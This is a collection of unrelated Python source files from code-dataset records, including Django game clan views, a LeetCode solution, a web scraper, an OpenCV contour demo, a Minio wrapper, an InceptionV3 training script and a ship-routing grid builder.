@validate_argument('clan', ClanPrototype.get_by_id, 'clans.membership.request', 'неверный идентификатор гильдии')\n @validate_not_in_clan()\n @validate_clan_has_request()\n @validate_ban_any()\n @handler('request', method='get')\n def request_dialog(self, clan):\n return self.template('clans/membership/request_dialog.html',\n {'invited_clan': clan,\n 'form': MembershipRequestForm()})\n\n\n @validate_argument('account', AccountPrototype.get_by_id, 'clans.membership.invite', 'неверный идентификатор аккаунта')\n @validate_invite_rights()\n @validate_other_not_in_clan()\n @validate_account_has_invite()\n @validate_ban_any()\n @handler('invite', method='post')\n def invite(self, account):\n form = MembershipRequestForm(self.request.POST)\n if not form.is_valid():\n return self.json_error('clans.membership.invite.form_errors', form.errors)\n\n request = MembershipRequestPrototype.create(initiator=self.account,\n account=account,\n clan=self.clan_info.clan,\n text=form.c.text,\n type=MEMBERSHIP_REQUEST_TYPE.FROM_CLAN)\n\n request.create_invite_message(initiator=self.account)\n\n return self.json_ok()\n\n\n @validate_argument('clan', ClanPrototype.get_by_id, 'clans.membership.request', 'неверный идентификатор гильдии')\n @validate_not_in_clan()\n @validate_clan_has_request()\n @validate_ban_any()\n @handler('request', method='post')\n def request_post(self, clan):\n form = MembershipRequestForm(self.request.POST)\n if not form.is_valid():\n return self.json_error('clans.membership.request.form_errors', form.errors)\n\n request = MembershipRequestPrototype.create(initiator=self.account,\n account=self.account,\n clan=clan,\n text=form.c.text,\n type=MEMBERSHIP_REQUEST_TYPE.FROM_ACCOUNT)\n\n request.create_request_message(initiator=self.account)\n\n return self.json_ok()\n\n @transaction.atomic\n @validate_argument('request', MembershipRequestPrototype.get_by_id, 'clan.membership.accept_request', 'Неверный идентификатор приглашения')\n @validate_invite_rights()\n @validate_ban_any()\n @validate_request_from_account()\n @handler('accept-request', method='post')\n def accept_request(self, request):\n accepted_account = AccountPrototype.get_by_id(request.account_id)\n self.clan_info.clan.add_member(accepted_account)\n request.create_accept_request_message(initiator=self.account)\n request.remove()\n return self.json_ok()\n\n @transaction.atomic\n @validate_argument('request', MembershipRequestPrototype.get_by_id, 'clan.membership.accept_invite', 'Неверный идентификатор приглашения')\n @validate_not_in_clan()\n @validate_request_from_clan()\n @validate_ban_any()\n @handler('accept-invite', method='post')\n def accept_invite(self, request):\n ClanPrototype.get_by_id(request.clan_id).add_member(self.account)\n request.remove()\n return self.json_ok()\n\n\n @transaction.atomic\n @validate_argument('request', MembershipRequestPrototype.get_by_id, 'clan.membership.reject_request', 'Неверный идентификатор приглашения')\n @validate_invite_rights()\n @validate_request_from_account()\n @validate_ban_any()\n @handler('reject-request', method='post')\n def reject_request(self, request):\n request.create_reject_request_message(initiator=self.account)\n request.remove()\n return self.json_ok()\n\n @transaction.atomic\n @validate_argument('request', MembershipRequestPrototype.get_by_id, 'clan.membership.reject_invite', 'Неверный идентификатор приглашения')\n @validate_not_in_clan()\n @validate_request_from_clan()\n @validate_ban_any()\n @handler('reject-invite', method='post')\n def reject_invite(self, request):\n request.remove()\n return self.json_ok()\n\n @transaction.atomic\n @validate_argument('account', AccountPrototype.get_by_id, 'clan.membership.remove_from_clan', 'Неверный идентификатор пользователя')\n @validate_remove_rights()\n @validate_ban_any()\n @handler('remove-from-clan', method='post')\n def remove_from_clan(self, account):\n other_clan_info = ClanInfo(account)\n if other_clan_info.clan_id != self.clan_info.clan_id:\n return self.auto_error('clans.membership.remove_from_clan.not_in_clan', 'Игрок не состоит в вашей гильдии')\n\n if self.clan_info.membership.role.priority >= other_clan_info.membership.role.priority:\n return self.auto_error('clans.membership.remove_from_clan.wrong_role_priority', 'Вы не можете исключить игрока в этом звании')\n\n self.clan_info.clan.remove_member(account)\n\n self.clan_info.clan.create_remove_member_message(self.account, account)\n\n return self.json_ok()\n\n\n @transaction.atomic\n @validate_in_clan()\n @handler('leave-clan', method='post')\n def leave_clan(self):\n if self.clan_info.membership.role.is_LEADER:\n return self.auto_error('clans.membership.leave_clan.leader', 'Лидер гильдии не может покинуть её. Передайте лидерство или расформируйте гильдию.')\n\n self.clan_info.clan.remove_member(self.account)\n\n return self.json_ok()\n","sub_path":"src/the_tale/the_tale/accounts/clans/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"313712004","text":"# @Time : 2019/7/1 22:30\r\n# @Author : shakespere\r\n# @FileName: Best Time to Buy and Sell Stock with Cooldown.py\r\n'''\r\nSay you have an array for which the ith element is the price of a given stock on day i.\r\n\r\nDesign an algorithm to find the maximum profit. You may complete as many transactions as you like (ie, buy one and sell one share of the stock multiple times) with the following restrictions:\r\n\r\nYou may not engage in multiple transactions at the same time (ie, you must sell the stock before you buy again).\r\nAfter you sell your stock, you cannot buy stock on next day. (ie, cooldown 1 day)\r\nExample:\r\n\r\nInput: [1,2,3,0,2]\r\nOutput: 3\r\nExplanation: transactions = [buy, sell, cooldown, buy, sell]\r\n'''\r\n\r\n\r\nclass Solution(object):\r\n def maxProfit(self, prices):\r\n \"\"\"\r\n :type prices: List[int]\r\n :rtype: int\r\n \"\"\"\r\n if not prices: return 0\r\n sell = [0] * len(prices)\r\n hold = [0] * len(prices)\r\n hold[0] = -prices[0]\r\n for i in range(1, len(prices)):\r\n sell[i] = max(sell[i - 1], hold[i - 1] + prices[i])\r\n hold[i] = max(hold[i - 1], (sell[i - 2] if i >= 2 else 0) - prices[i])\r\n return sell[-1]\r\n","sub_path":"Best Time to Buy and Sell Stock with Cooldown.py","file_name":"Best Time to Buy and Sell Stock with Cooldown.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"511581307","text":"import cPickle as pickle\n\nfrom sharkgrid.common import KVstoreClient\n\n\ndef run_task(task_key, client):\n task = client.get(task_key)\n task.client = client\n if task.method == 'sum':\n result = sum(task.data)\n else:\n result = 'ERROR: unknown task.method'\n task.result = result\n task.status = 'FINISHED'\n\n\nclass MockKVstoreClient(KVstoreClient):\n def __init__(self, tree_root=None):\n super(MockKVstoreClient, self).__init__('dummy arg',\n tree_root=tree_root)\n self.kvstore = {}\n\n # override set method to use kvstore[key] instruction\n def set(self, key, stuff):\n self.kvstore[key] = pickle.dumps(stuff)\n","sub_path":"src/sharkgrid/tests/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"629051847","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^api/', include('WebAPI.urls')),\n url(r'^notifications/', include('notify.urls', 'notifications')),\n url(r'^', include('WebUI.urls')),\n]\n","sub_path":"src/ProjectManagementSystem/ProjectManagementSystem/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"175309696","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport tensorflow as tf\nfrom sklearn.externals.joblib import load, dump\nfrom sklearn.preprocessing import LabelBinarizer, LabelEncoder\n\npath = '/raid/Serengeti/Mini_Project/Data' #path to dataset\n#%%\ndef load_train_images(path_dir):\n file_path = []\n labels = []\n print(('Going to read images from ', path_dir))\n class_dirs = os.listdir(path_dir) \n for val in class_dirs:\n current_dir = os.path.join(path_dir, val,'*.jpg')\n ls = glob.glob(current_dir) \n for fl in ls:\n labels.append(val) \n file_path += ls\n print('Done reading.')\n return labels, file_path\n \nlabels, images = load_train_images(path)\n\nnClasses = len(set(labels))\nla = np.arange(0,nClasses)\nlb = LabelBinarizer()\nlb.fit(la)\nle = LabelEncoder()\nle.fit(labels)\nle_transformed = le.transform(labels)\n\nimages = np.array(images)*(1.0/255)\nsize = len(images)\nidx = np.arange(0,size)\n\ntrain_size = int(len(idx)*0.9)\ntrain_idx = np.random.choice(idx, train_size)\ntest_idx = np.setdiff1d(idx, train_idx)\n\nxtrain_images = images[train_idx]\nytrain_labels = lb.transform(le_transformed[train_idx])\n\nxtest_images = images[test_idx]\nytest_labels = lb.transform(le_transformed[test_idx])\n\n#%%\n\ninceptionv3_model = tf.keras.applications.InceptionV3(include_top=False, weights='imagenet', input_shape=(224,224,3)) #change here to use any pre-trained model\ninceptionv3_model.trainable = False\n\n#%%\nglobal_average_layer = tf.keras.layers.GlobalAveragePooling2D()\ndense_layer = tf.keras.layers.Dense(1024,activation='relu')\nprediction_layer = tf.keras.layers.Dense(nClasses, activation='softmax')\n\ninputs = tf.keras.Input(shape=(224,224,3))\nx = inceptionv3_model(inputs, training=False)\nx = global_average_layer(x)\nx = tf.keras.layers.Dropout(0.2)(x)\n\nx = dense_layer(x)\noutputs = prediction_layer(x)\n\nmodel_inception = tf.keras.Model(inputs, outputs)\n\n#%%\nbase_learning_rate = 0.001\nmodel_inception.compile(optimizer=tf.keras.optimizers.Adam(lr=base_learning_rate),\n loss=tf.keras.losses.BinaryCrossentropy(),\n metrics=['accuracy'])\n\nmodel_inception.summary()\n\n#%%\nepochs = 50\nbatch_size = 32\nhistory_inception = model_inception.fit(x = xtrain_images,\n y = ytrain_labels,\n epochs=epochs,\n batch_size=batch_size,\n validation_split = 0.1\n )\n\n#%%\nmodel_inception.save('InceptionV3_Serengeti')\n\n#%%\n\n#####################################################################################################################\n# Metrics\n#####################################################################################################################\nacc = history_inception.history['accuracy']\nval_acc = history_inception.history['val_accuracy']\n\nloss=history_inception.history['loss']\nval_loss=history_inception.history['val_loss']\n\nepochs_range = range(epochs)\n\nplt.figure(figsize=(8, 8))\nplt.subplot(2, 1, 1)\nplt.plot(epochs_range, acc, label='Training Accuracy')\nplt.plot(epochs_range, val_acc, label='Validation Accuracy')\nplt.legend(loc='lower right')\nplt.title('Training and Validation Accuracy')\nplt.ylim([0,1.0])\n\nplt.subplot(2, 1, 2)\nplt.plot(epochs_range, loss, label='Training Loss')\nplt.plot(epochs_range, val_loss, label='Validation Loss')\nplt.legend(loc='upper right')\nplt.title('Training and Validation Loss')\nplt.ylim([0,1.0])\n\nplt.savefig('InceptionV3_Serengeti_acc_loss.png',dpi =300)\n#%%\n#####################################################################################################################\n# Confusion Matrix\n#####################################################################################################################\n\nreal_labels = lb.inverse_transform(ytrain_labels)\npredicted_labels = np.argmax(model_inception.predict(xtrain_images), axis=1)\n\n#%%\ncm = np.asarray(tf.math.confusion_matrix(real_labels, predicted_labels))\ncm = np.around(cm.astype('float') / cm.sum(axis=1)[:, np.newaxis], decimals=2)\n#%%\nfig, ax = plt.subplots(figsize=(12,12))\nim = ax.imshow(cm)\n\n\nax.set_xticks(np.arange(nClasses))\nax.set_yticks(np.arange(nClasses))\n\nax.set_xticklabels(le.classes_)\nax.set_yticklabels(le.classes_)\n\n\nplt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\",\n rotation_mode=\"anchor\")\n\n# Loop over data dimensions and create text annotations.\nfor i in range(nClasses):\n for j in range(nClasses):\n text = ax.text(j, i, cm[i, j],\n ha=\"center\", va=\"center\", color=\"w\")\n\nax.set_title(\"Confusion Matrix for InceptionV3 model\")\nfig.tight_layout()\nplt.savefig(\"InceptionV3_Serengeti_ConfusionMatrix.png\", dpi = 300)","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"368994171","text":"class Solution(object):\r\n def canConstruct(self, ransomNote, magazine):\r\n \"\"\"\r\n :type ransomNote: str\r\n :type magazine: str\r\n :rtype: bool\r\n \"\"\"\r\n ransomHash = {}\r\n magazineHash = {}\r\n for letter in ransomNote:\r\n if letter in ransomHash:\r\n ransomHash[letter] += 1\r\n else:\r\n ransomHash[letter] = 1\r\n for secondLetter in magazine:\r\n if secondLetter in magazineHash:\r\n magazineHash[secondLetter] += 1\r\n else:\r\n magazineHash[secondLetter] = 1\r\n for key in ransomHash:\r\n if key not in magazineHash:\r\n return False\r\n if ransomHash[key] > magazineHash[key]:\r\n return False\r\n return True","sub_path":"leetcode/383.ransom-note/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"173245027","text":"from random import randint\n\n\nclass RandomElementGenerator():\n random_seed = 10000019\n\n @staticmethod\n def get_random_number():\n random_number = randint(0, RandomElementGenerator.random_seed)\n return random_number\n\n @staticmethod\n def get_random_number_of_defined_length_as_string(number_of_digits):\n res = ''\n while True:\n new_digit = RandomElementGenerator.get_random_number() % 10\n length = len(res)\n if length is 0:\n if new_digit is 0:\n new_digit = (RandomElementGenerator.get_random_number() % 9) + 1\n res += str(new_digit)\n length = len(res)\n if length is number_of_digits:\n break\n return res\n\n @staticmethod\n def get_random_element_from_list(data_list):\n random_number = RandomElementGenerator.get_random_number()\n length = len(data_list)\n idx = random_number % length\n res = data_list[idx]\n return res\n","sub_path":"epad/auths/test_factories/lib/random_element_generator.py","file_name":"random_element_generator.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"309391486","text":"import scrapy\n# USE THIS ONE!!!\n\nclass QuotesSpider(scrapy.Spider):\n name = \"genre_article_working\"\n\n def start_requests(self):\n urls_list = [\"https://www.sciencemag.org/careers-career-article-genre/working-life\"]\n for i in range(15): #15\n urls_list.append(\"https://www.sciencemag.org/careers-career-article-genre/working-life?page=\"+str(i))\n #urls = [\"https://www.sciencemag.org/careers/articles?page=10\", \"https://www.sciencemag.org/careers/articles?page=11\", \"https://www.sciencemag.org/careers/articles?page=12\", \"https://www.sciencemag.org/careers/articles?page=13\"]\n for url in urls_list:\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse_tags(self, response):\n post = response.css(\"div.meta-line\")\n yield {\n \"headline\" : response.css(\"h1.article__headline::text\").get(),\n \"tags\" : post.css(\"a::text\").getall(),\n \"byline\" : response.css(\"p.byline\").get(),\n \"text\" : response.css(\"p::text\").getall()\n }\n\n def parse(self, response):\n # for block in response.css(\"div.media__body\"):\n # yield {\n # \"text\" : block.css(\"a::text\").get(),\n # \"preview\" : block.css(\"div.media__deck::text\").get(),\n # \"byline\" : block.css(\"p.byline\").get()\n # }\n for block in response.css(\"div.media__body\"):\n href = block.css(\"a::attr(href)\")[0]\n # print(\"href!!!!!!!!!!!!! \", href)\n yield response.follow(href, self.parse_tags)","sub_path":"test1/spiders/genre_spider_WL.py","file_name":"genre_spider_WL.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515936961","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimg = cv2.pyrDown(cv2.imread(\"TEST.jpg\", cv2.IMREAD_UNCHANGED))\n(B,G,R)=cv2.split(img)\nimg=cv2.merge([R,G,B]) \nret, thresh = cv2.threshold(cv2.cvtColor(img.copy(), cv2.COLOR_BGR2GRAY) ,\n 127, 255, cv2.THRESH_BINARY)\nimg = cv2.cvtColor(np.zeros((img.shape[0], img.shape[1]), dtype=np.uint8),\n cv2.COLOR_GRAY2BGR)#black background\ncontours, hier = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\nfor c in contours:\n #rectangle\n x,y,w,h=cv2.boundingRect(c)\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2)\n #min_area_rectangle\n rect=cv2.minAreaRect(c)\n box=cv2.boxPoints(rect)\n box=np.int0(box)\n cv2.drawContours(img,[box],0,(0,0,255),3)\n #circle\n (x,y),radius=cv2.minEnclosingCircle(c)\n center=(int(x),int(y))\n radius=int(radius)\n img=cv2.circle(img,center,radius,(255,0,0),2)\n#ploydp\nfor cnt in contours:\n epsilon = 0.01 * cv2.arcLength(cnt,True)\n approx = cv2.approxPolyDP(cnt,epsilon,True)\n hull = cv2.convexHull(cnt)\n cv2.drawContours(img, [cnt], -1, (0, 255, 255), 2) #sky blue\n cv2.drawContours(img, [approx], -1, (255, 255, 0), 2) #yellow\n cv2.drawContours(img, [hull], -1, (255, 0, 255), 2)#pink\n \n\n \nplt.imshow(img)\nplt.axis('off')\nplt.show()","sub_path":"p47_find_contours.py","file_name":"p47_find_contours.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"24844999","text":"\"\"\"\nClustering module.\n\"\"\"\nfrom math import sqrt\nfrom random import randint\n\n# set word count\nword_amount = 706\n\nclass Clustering:\n \"\"\"\n Clustering class.\n\n Attributes:\n blogs (list): nested lists with parsed dataset\n words (Blog): object with list of all words\n hierarchical (list): nested list of hierarchical clustering\n \"\"\"\n blogs = list()\n words = None\n hierarchical = None\n\n def __init__(self, hierarchical_on_startup):\n \"\"\"\n Constructor for Clustering class.\n Parse dataset into nested lists.\n\n Args:\n hierarchical_on_startup (boolean): True if hierarchical\n clustering should be calculated on startup\n \"\"\"\n with open(\"blogdata.txt\", \"r\") as file:\n for line in file.read().split(\"\\n\"):\n if len(line) > 1:\n # store all blog names and word counts as Blog objects\n data = line.split(\"\\t\")\n blog = Blog(data[0], data[1:])\n self.blogs.append(blog)\n\n # store all words in a Blog object\n self.words = self.blogs.pop(0)\n\n # calculate hierarchical clustering\n if hierarchical_on_startup is True:\n print(\"Calculate hierarchical clustering...\")\n self.calculate_hierarchical()\n print(\"Done.\")\n\n def pearson(self, a, b):\n \"\"\" Calculate and return Pearson score for two blogs\n\n Args:\n a (Blog)\n b (Blog)\n\n Returns:\n float: inverted Pearson value for a and b\n \"\"\"\n # init variables\n sum_a = 0\n sum_b = 0\n sum_a_sq = 0\n sum_b_sq = 0\n p_sum = 0\n i = 0\n # number of words\n n = word_amount\n # iterate over all words\n while i < n:\n count_a = a.word_count(i)\n count_b = b.word_count(i)\n sum_a += count_a\n sum_b += count_b\n sum_a_sq += count_a**2\n sum_b_sq += count_b**2\n p_sum += count_a * count_b\n i += 1\n # calculate pearson\n num = p_sum - (sum_a * sum_b / n)\n den = sqrt((sum_a_sq - sum_a**2 / n) * (sum_b_sq - sum_b**2 / n))\n # return inverted pearson score\n return 1.0 - num/den\n\n def get_random_from_word_count(self, i):\n \"\"\"\n Returns a random number between the lowest and highest word counts\n for a specific word.\n\n Args:\n i (int): index for word\n\n Returns:\n int: random number between min and max\n \"\"\"\n min = 10000000\n max = 0\n for b in self.blogs:\n if b.word_count(i) < min:\n min = b.word_count(i)\n if b.word_count(i) > max:\n max = b.word_count(i)\n return randint(min, max)\n\n def k_means(self, max_iterations=0):\n \"\"\"\n Creates clusters of blog objects with K-means algorithm.\n If max_iteration arg is 0, it will keep iterating until no\n new assignments are made. Or else it will iterate a set amount of times.\n\n Args:\n max_iteration (int): amount of iterations, set 0 for auto\n\n Returns:\n list: Cluster objects\n \"\"\"\n # set auto to True if max_iteration is 0\n auto_iteration = True if max_iterations == 0 else False\n # number of words\n n = word_amount\n # generate 5 random centroids\n centroids = list()\n while len(centroids) < 5:\n c = Centroid()\n i = 0\n while i < n:\n c.set_word_count(i, self.get_random_from_word_count(i))\n i += 1\n centroids.append(c)\n # iteration loop\n i = 0\n while True:\n # print iteration info\n if auto_iteration:\n print(\"Iteration: \" + str(i + 1))\n else:\n print(\"Iteration: \" + str(i + 1) + \"/\" + str(max_iterations))\n # clear and file assignments for all centroids\n for c in centroids:\n c.clear_assignments()\n # assign each blog to closest centroid\n for b in self.blogs:\n distance = 10000000\n # find closest centroid\n for c in centroids:\n c_dist = self.pearson(c, b)\n if c_dist < distance:\n best = c\n distance = c_dist\n # assign blog to centroid\n best.assignments.append(b)\n # re-calculate center for each centroid\n for c in centroids:\n # find average count for each word\n j = 0\n while j < n:\n avg = 0.0\n # iterate over all blogs assigned to this centroid\n for b in c.assignments:\n avg += b.word_count(j)\n avg /= len(c.assignments)\n # update word count for the centroid\n c.set_word_count(j, avg)\n j += 1\n i += 1\n # break loop if it reached set amount of iterations\n if i == max_iterations and auto_iteration is False:\n break\n # break loop when no new assignments are being made\n if auto_iteration is True:\n end = True\n for c in centroids:\n if c.new_assignments():\n # set end to False if new assignments were done\n end = False\n if end is True:\n print(\"No more assignments made, breaking loop.\")\n break\n # prepare return data for JSON format\n res = list()\n for c in centroids:\n res.append([b.name for b in c.assignments])\n return res\n\n def merge(self, a, b, distance):\n \"\"\"\n Merges to clusters.\n\n Args:\n a (Cluster)\n b (Cluster)\n distance (float): pearson distance between a and b\n\n Returns:\n Cluster: new cluster with merged data from a and b\n \"\"\"\n # number of words\n n = word_amount\n # create new cluster\n p = Cluster()\n # fill data\n p.left = a\n a.parent = p\n p.right = b\n b.parent = p\n # merge blog data by averaging word counts for each word\n nb = Blog()\n i = 0\n while i < n:\n count_a = a.blog.word_count(i)\n count_b = b.blog.word_count(i)\n # average word count\n count = (count_a + count_b) / 2\n # set word count to new blog\n nb.set_word_count(i, count)\n i += 1\n # set blog to new cluster\n p.blog = nb\n # set distance\n p.distance = distance\n # return new cluster\n return p\n\n def calculate_hierarchical(self):\n \"\"\"\n Hierarchical clustering.\n Calculates result and store in self.hierarchical\n \"\"\"\n # create a cluster for each blog and add to list\n clusters = list()\n for b in self.blogs:\n clusters.append(Cluster(b))\n # iterate as long as there are more than one Cluster in the list\n print(\"Iterating through clusters.\")\n while len(clusters) > 1:\n print(\"Clusters left: \" + str(len(clusters)))\n # find two closest nodes\n closest = 10000000\n a = None\n b = None\n i = 0\n while i < len(clusters):\n c_a = clusters[i]\n for c_b in clusters[i+1:]:\n distance = self.pearson(c_a.blog, c_b.blog)\n if distance < closest and c_a is not c_b:\n # set new closest nodes found\n closest = distance\n a = c_a\n b = c_b\n i += 1\n # merge the two clusters\n new_c = self.merge(a, b, closest)\n # add new cluster\n clusters.append(new_c)\n # remove old clusters\n clusters.remove(a)\n clusters.remove(b)\n # create and store nested list\n res = self.nested_list(clusters[0])\n self.hierarchical = res\n\n def get_hierarchical(self):\n \"\"\"\n Returns:\n list: nested list of results\n \"\"\"\n return self.hierarchical\n\n def nested_list(self, cluster):\n \"\"\"\n Returns a nested list structure with names of blogs\n made with hierarchical clustering.\n\n Args:\n cluster (Cluster): root cluster\n\n Returns:\n list: nested list of blog names and clusters\n \"\"\"\n if cluster.distance == 0:\n return cluster.blog.name\n return [self.nested_list(cluster.left), self.nested_list(cluster.right)]\n\nclass Blog:\n \"\"\"\n Blog class.\n\n Attributes:\n name (str): name of blog\n word_counts (list): list of all word counts of the blog\n \"\"\"\n def __init__(self, name=\"\", word_counts=None):\n \"\"\"\n Constructor for Blog.\n Init variables.\n \"\"\"\n self.name = name\n self.word_counts = [0 for x in range(0, word_amount)] if word_counts is None else word_counts\n\n def word_count(self, i):\n \"\"\"\n Returns value of a specific word count.\n\n Args:\n i (int): index of word\n\n Returns:\n int: value of word count for word i\n \"\"\"\n return int(self.word_counts[i])\n\n def set_word_count(self, i, count):\n \"\"\"\n Sets a value of a word count.\n\n Args:\n i (int): index of word to set\n count (int): word count value\n \"\"\"\n self.word_counts[i] = count\n\n\nclass Centroid(Blog):\n \"\"\"\n Centroid class, extends Blog class.\n\n Attributes:\n assignments (list): list of assigned Blog objects\n old_assignments (list): list of previously assigned Blog objects\n \"\"\"\n def __init__(self):\n super().__init__()\n self.assignments = list()\n self.old_assignments = None\n\n def clear_assignments(self):\n \"\"\"\n Make a copy of assignments list and clear original list.\n \"\"\"\n self.old_assignments = self.assignments.copy()\n self.assignments = list()\n\n def new_assignments(self):\n \"\"\"\n Returns True if there are new assignments made since last\n cluster iteration loop, or else False.\n\n Returns:\n boolean\n \"\"\"\n if set(self.assignments) != set(self.old_assignments):\n return True\n return False\n\n\nclass Cluster:\n \"\"\"\n Cluster class.\n\n Attributes:\n left (Cluster): left child cluster\n right (Cluster): right child cluster\n paret (Cluster): parent cluster\n blog (Blog): blog object if it is a leaf node\n distance (float): distance between the left and right child clusters\n \"\"\"\n left = None\n right = None\n parent = None\n blog = None\n distance = 0\n\n def __init__(self, blog=None):\n \"\"\"\n Constructor for Cluster.\n Set blog if it is passed as argument, or else it becomes None.\n\n Args:\n blog (Blog)\n \"\"\"\n self.blog = blog\n","sub_path":"clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":11389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"549869331","text":"import sys\nprint(sys.path)\nfrom tempfile import NamedTemporaryFile\n# from minio.error import S3Error\n# from minio import Minio\nimport numpy as np\nimport traceback\n\nclass MinioModel():\n bucket_name = \"lending-flatform\"\n\n def __init__(self, Host, access_key, secret_key, miniosecure):\n # self.client = Minio(\n # Host,\n # access_key=access_key,\n # secret_key=secret_key,\n # secure=miniosecure\n # )\n # found = self.client.bucket_exists(self.bucket_name)\n # if not found:\n # self.client.make_bucket(self.bucket_name)\n return None\n\n\n def put_object(self, Minio_store, file_store):\n #Define direct store.\n try:\n self.client.fput_object(self.bucket_name, Minio_store, file_store)\n return True\n\n except:\n tb = traceback.print_exc()\n return False\n ## get image from storage and read\n \n\n def get_object(self, file_dir):\n try:\n response = self.client.get_object(self.bucket_name, file_dir)\n # numpy array image\n return response.data\n\n # required to release resource\n finally:\n # response.close()\n response.release_conn()\n\n\n def get_object_image(self, file_dir):\n try:\n response = self.client.get_object(self.bucket_name, file_dir)\n # numpy array image\n image = cv2.imdecode(np.frombuffer(response.data, np.uint8), -1)\n nump = np.frombuffer(response.data, np.uint8)\n return image \n\n # required to release resource\n finally:\n response.close()\n response.release_conn()\n\n\n def copy_object(self, source, dest):\n result = self.client.copy_object(\n self.bucket_name,\n source,\n CopySource(self.bucket_name, dest),\n )\n return result\n\n\n def get_list_object(self, prefix):\n objects = self.client.list_objects(self.bucket_name, prefix= prefix)\n\n list_obj = list()\n\n try:\n for obj in objects:\n list_obj.append(obj)\n\n finally:\n objects.close()\n\n return list_obj\n\n\n def get_client(self):\n return self.client\n\n","sub_path":"steamlit/server/common/minio.py","file_name":"minio.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"578715851","text":"import numpy as np\nfrom GeneralFunction import *\nfrom Ship_FCM import *\nimport heapq\nfrom matplotlib import pyplot as plt\n# BATHYMETRIC CLASS\nbathymetry = Bathymetry(\"GEBCO_2014_2D_-75.0_30.0_10.0_55.0.nc\")\n# WATER DEPTH LIMITATION (m)\nDEPTH_LIMIT = -11\n# INITIATE WEATHER CLASS\nweather_info = WeatherInfo(\"Metdata_NorthAtlantic_2015-01-01-2015-01-31.mat\")\n# INITIATE SHIP INFORMATION\nship_info = Ship_FCM()\n\n\n\nclass dnode:\n def __init__(self, longi, lati):\n self.longi = longi\n self.lati = lati\n\ndef gen_graph(departure, destination, v, delta_t, n, eta):\n '''\n v -- ship service speed in knot\n delta_t -- time interval between two stage\n n -- total number of the grid points on one stage\n eta -- proportion between the breadth of one stage and Total distance\n q -- number of transition\n '''\n # total distance and intial bearing\n Total_dist, Init_bearing = greatcircle_inverse(departure[0], departure[1], destination[0], destination[1])\n # K = stage number\n K = np.int(np.ceil(Total_dist / (v * 1.854 * delta_t)))\n # unit spacing\n delta_y = Total_dist * eta / (n - 1)\n x, y = m.gcpoints(departure[0], departure[1], destination[0], destination[1], K)\n longi_c, lati_c = np.array(m(x, y, inverse = True))\n # distance between each stage\n para_stage = greatcircle_inverse(longi_c[:-1], lati_c[:-1], longi_c[1:], lati_c[1:]).T\n nodeset = []\n nodeset.append([dnode(longi_c[0], lati_c[0])]) \n for i in range(1, K - 1):\n temp_brng = greatcircle_point(longi_c[i - 1], lati_c[i - 1], para_stage[i - 1, 0], para_stage[i - 1, 1])[2]\n temp_point1 = greatcircle_point(longi_c[i], lati_c[i], delta_y * (n - 1) / 2, temp_brng + 90)\n temp_point2 = greatcircle_point(longi_c[i], lati_c[i], delta_y * (n - 1) / 2, temp_brng - 90)\n temp_x, temp_y = m.gcpoints(temp_point1[0], temp_point1[1], temp_point2[0], temp_point2[1], n)\n temp_pos =np.array(m(temp_x, temp_y ,inverse = True)).T\n # node number starts at 0\n nodeset.append([dnode(tempnode[0], tempnode[1]) for tempnode in temp_pos])\n nodeset.append([dnode(longi_c[-1], lati_c[-1])])\n \n return nodeset\n\n \nclass DijkstraGrid:\n def __init__(self, width, height):\n self.width = width\n self.height = height\n self.walls = {}\n \n def in_bounds(self, id):\n (x, y) = id.T\n return np.all([x >= 0, x < self.width, y >= 0, y < self.height], axis = 0)\n \n def passable(self, id):\n is_wall = []\n for i in id:\n if i[1] in self.walls:\n is_wall.append(np.in1d(i[0], self.walls[i[1]]))\n else:\n is_wall.append([False]) \n is_wall = np.array(is_wall).ravel()\n return is_wall\n \n def neighbors(self, id, q, container):\n (x, y) = id # x: longitude, y: latitude\n if x == 0:\n interval = np.arange(len(container[1]))\n results = np.column_stack((np.ones(len(container[1])), interval)).astype(int)\n elif x == len(container) - 2:\n parent = container[x][y]\n child = container[x + 1][0]\n if bathymetry.is_below_depth((parent.longi, parent.lati),(child.longi, child.lati),DEPTH_LIMIT):\n return tuple(map(tuple, [[x + 1, 0]]))\n else:\n return\n else:\n interval = np.linspace(y - q, y + q, 2 * q + 1)\n results = np.column_stack((np.ones(2 * q + 1) * (x + 1), interval)).astype(int)\n results = results[self.in_bounds(results)]\n ind = []\n parent = container[x][y]\n for result in results:\n child = container[result[0]][result[1]]\n if bathymetry.is_below_depth((parent.longi, parent.lati),(child.longi, 